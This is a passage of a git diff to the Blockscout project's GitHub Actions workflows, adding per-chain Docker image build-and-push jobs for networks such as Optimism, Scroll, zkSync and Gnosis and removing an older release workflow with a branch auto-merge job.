ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=${{ env.DOCKER_CHAIN_NAME }} + + - name: Build and push Docker image for Filecoin (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=${{ env.DOCKER_CHAIN_NAME }} diff --git a/.github/workflows/publish-docker-image-for-fuse.yml b/.github/workflows/publish-docker-image-for-fuse.yml new file mode 100644 index 000000000000..aa0ae3543056 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-fuse.yml @@ -0,0 +1,44 @@ +name: Fuse Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-fuse +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: fuse + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BRIDGED_TOKENS_ENABLED=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} diff --git a/.github/workflows/publish-docker-image-for-gnosis-chain.yml b/.github/workflows/publish-docker-image-for-gnosis-chain.yml new file mode 100644 index 000000000000..03a1b70a3e90 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-gnosis-chain.yml @@ -0,0 +1,63 @@ +name: Gnosis Chain Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-xdai +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: xdai + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BRIDGED_TOKENS_ENABLED=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BRIDGED_TOKENS_ENABLED=true + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum diff --git a/.github/workflows/publish-docker-image-for-l2-staging.yml b/.github/workflows/publish-docker-image-for-l2-staging.yml new file mode 100644 index 000000000000..40c23052eaa3 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-l2-staging.yml @@ -0,0 +1,43 @@ +name: L2 staging Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - staging-l2 +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: optimism-l2-advanced + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:latest, ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} diff --git a/.github/workflows/publish-docker-image-for-lukso.yml b/.github/workflows/publish-docker-image-for-lukso.yml new file mode 100644 index 000000000000..f3db7773e859 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-lukso.yml @@ -0,0 +1,43 @@ +name: LUKSO Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-lukso +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: lukso + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:latest, ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} diff --git a/.github/workflows/publish-docker-image-for-optimism.yml b/.github/workflows/publish-docker-image-for-optimism.yml new file mode 100644 index 000000000000..d7f760887046 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-optimism.yml @@ -0,0 +1,62 @@ +name: Optimism Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-optimism +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: optimism + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=optimism + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=optimism + diff --git a/.github/workflows/publish-docker-image-for-rootstock.yml b/.github/workflows/publish-docker-image-for-rootstock.yml new file mode 100644 index 000000000000..264a6096b6d0 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-rootstock.yml @@ -0,0 +1,44 @@ +name: Rootstock Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-rsk +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: rsk + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=rsk diff --git a/.github/workflows/publish-docker-image-for-scroll.yml b/.github/workflows/publish-docker-image-for-scroll.yml new file mode 100644 index 000000000000..85d2c8dcfc64 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-scroll.yml @@ -0,0 +1,62 @@ +name: Scroll Publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-scroll +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: scroll + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=scroll + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=scroll + diff --git a/.github/workflows/publish-docker-image-for-zetachain.yml b/.github/workflows/publish-docker-image-for-zetachain.yml new file mode 100644 index 000000000000..1b37fe779906 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-zetachain.yml @@ -0,0 +1,44 @@ +name: Zetachain publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-zetachain +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: zetachain + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zetachain diff --git a/.github/workflows/publish-docker-image-for-zilliqa.yml b/.github/workflows/publish-docker-image-for-zilliqa.yml new file mode 100644 index 000000000000..197283d09a99 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-zilliqa.yml @@ -0,0 +1,63 @@ +name: Zilliqa publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-zilliqa +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: zilliqa + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=${{ env.DOCKER_CHAIN_NAME }} + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=${{ env.DOCKER_CHAIN_NAME }} + + diff --git a/.github/workflows/publish-docker-image-for-zkevm.yml b/.github/workflows/publish-docker-image-for-zkevm.yml new file mode 100644 index 000000000000..ec85a128e6cb --- /dev/null +++ b/.github/workflows/publish-docker-image-for-zkevm.yml @@ -0,0 +1,62 @@ +name: Zkevm publish Docker image + +on: + workflow_dispatch: + push: + branches: + - production-zkevm +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: zkevm + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=polygon_zkevm + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=polygon_zkevm + diff --git a/.github/workflows/publish-docker-image-for-zksync.yml b/.github/workflows/publish-docker-image-for-zksync.yml new file mode 100644 index 000000000000..8bf7c349f0e7 --- /dev/null +++ b/.github/workflows/publish-docker-image-for-zksync.yml @@ -0,0 +1,61 @@ +name: Zksync publish Docker image + +on: + push: + branches: + - production-zksync +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + DOCKER_CHAIN_NAME: zksync + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zksync + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-${{ env.DOCKER_CHAIN_NAME }}-private:${{ env.RELEASE_VERSION }}-postrelease-${{ env.SHORT_SHA }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=zksync + diff --git a/.github/workflows/publish-docker-image-old-ui.yml b/.github/workflows/publish-docker-image-old-ui.yml new file mode 100644 index 000000000000..8fcff4f55dee --- /dev/null +++ b/.github/workflows/publish-docker-image-old-ui.yml @@ -0,0 +1,51 @@ +name: Publish Docker image with an old UI + +on: + workflow_dispatch: + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build & Push Docker image with an old UI (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/oldUI.Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout:${{ env.RELEASE_VERSION }}-with-old-ui-postrelease-${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} diff --git a/.github/workflows/publish-docker-image-release.yml b/.github/workflows/publish-docker-image-release.yml deleted file mode 100644 index 2e524c5d1dc4..000000000000 --- a/.github/workflows/publish-docker-image-release.yml +++ /dev/null @@ -1,109 +0,0 @@ -# This workflow uses actions that are not certified by GitHub. -# They are provided by a third-party and are governed by -# separate terms of service, privacy policy, and support -# documentation. - -name: Publish Docker image - -on: - release: - types: [published] - -env: - OTP_VERSION: '24.3.4.1' - ELIXIR_VERSION: '1.13.4' - -jobs: - push_to_registry: - name: Push Docker image to Docker Hub - runs-on: ubuntu-latest - env: - RELEASE_VERSION: 4.1.8 - steps: - - name: Check out the repo - uses: actions/checkout@v3 - - - name: Set up QEMU - uses: docker/setup-qemu-action@v2 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 - - - name: Log in to Docker Hub - uses: docker/login-action@v2 - with: - username: ${{ secrets.DOCKER_USERNAME }} - password: ${{ secrets.DOCKER_PASSWORD }} - - - name: Extract metadata (tags, labels) for Docker - id: meta - uses: docker/metadata-action@v4 - with: - images: blockscout/blockscout - - - name: Build & Push Docker image - uses: docker/build-push-action@v3 - with: - context: . - file: ./docker/Dockerfile - push: true - cache-from: type=registry,ref=blockscout/blockscout:buildcache - cache-to: type=registry,ref=blockscout/blockscout:buildcache,mode=max - tags: blockscout/blockscout:latest, blockscout/blockscout:${{ env.RELEASE_VERSION }} - platforms: | - linux/arm64 - linux/amd64 - build-args: | - CACHE_EXCHANGE_RATES_PERIOD="" - DISABLE_READ_API="false" - API_PATH="/" - NETWORK_PATH="/" - DISABLE_WEBAPP="false" - DISABLE_WRITE_API="false" - CACHE_ENABLE_TOTAL_GAS_USAGE_COUNTER="" - WOBSERVER_ENABLED="false" - ADMIN_PANEL_ENABLED="" - CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL="" - SOCKET_ROOT="" - - merge-master-after-release: - name: Merge 'master' to specific branch after release - runs-on: ubuntu-latest - env: - BRANCHES: | - production-core-stg - production-eth-stg - production-harmony-mainnet-shard-0-stg - production-lukso-stg - production-optimism-goerli-stg - production-optimism-mainnet-stg - production-optimism-stg - production-rsk-stg - production-sokol-stg - steps: - - uses: actions/checkout@v2 - - name: Set Git config - run: | - git config --local user.email "actions@github.com" - git config --local user.name "Github Actions" - - name: Merge master back after release - run: | - git fetch --unshallow - touch errors.txt - for branch in $BRANCHES; - do - git reset --merge - git checkout master - git fetch origin - echo $branch - git ls-remote --exit-code --heads origin $branch || { echo $branch >> errors.txt; continue; } - echo "Merge 'master' to $branch" - git checkout $branch - git pull || { echo $branch >> errors.txt; continue; } - git merge --no-ff master -m "Auto-merge master back to $branch" || { echo $branch >> errors.txt; continue; } - git push || { echo $branch >> errors.txt; continue; } - git checkout master; - done - [ -s errors.txt ] && echo "There are problems with merging 'master' to branches:" || echo "Errors file is empty" - cat errors.txt - [ ! -s errors.txt ] diff --git a/.github/workflows/publish-docker-image-staging-on-demand.yml b/.github/workflows/publish-docker-image-staging-on-demand.yml new file mode 100644 index 000000000000..52c5542c5b8d --- /dev/null +++ b/.github/workflows/publish-docker-image-staging-on-demand.yml @@ -0,0 +1,56 @@ +name: Publish Docker image to staging on demand + +on: + workflow_dispatch: + push: + branches: + - staging + paths-ignore: + - 'CHANGELOG.md' + - '**/README.md' + - 'docker-compose/*' +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + RELEASE_VERSION: 9.1.1 + +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout-staging:latest, ghcr.io/blockscout/blockscout-staging:${{ env.RELEASE_VERSION }}.commit.${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} diff --git a/.github/workflows/publish-regular-docker-image-on-demand.yml b/.github/workflows/publish-regular-docker-image-on-demand.yml new file mode 100644 index 000000000000..396ef86962c1 --- /dev/null +++ b/.github/workflows/publish-regular-docker-image-on-demand.yml @@ -0,0 +1,71 @@ +name: Publish regular Docker image on demand + +on: + workflow_dispatch: +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + RELEASE_VERSION: 9.1.1 + +permissions: + contents: read + packages: write + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + cache-from: type=registry,ref=ghcr.io/blockscout/blockscout:buildcache + cache-to: type=registry,ref=ghcr.io/blockscout/blockscout:buildcache,mode=max + tags: ghcr.io/blockscout/blockscout:${{ env.RELEASE_VERSION }}.commit.${{ env.SHORT_SHA }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DECODE_NOT_A_CONTRACT_CALLS=false + MIXPANEL_URL= + MIXPANEL_TOKEN= + AMPLITUDE_URL= + AMPLITUDE_API_KEY= + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}.+commit.${{ env.SHORT_SHA }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + + - name: Build and push Docker image (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: 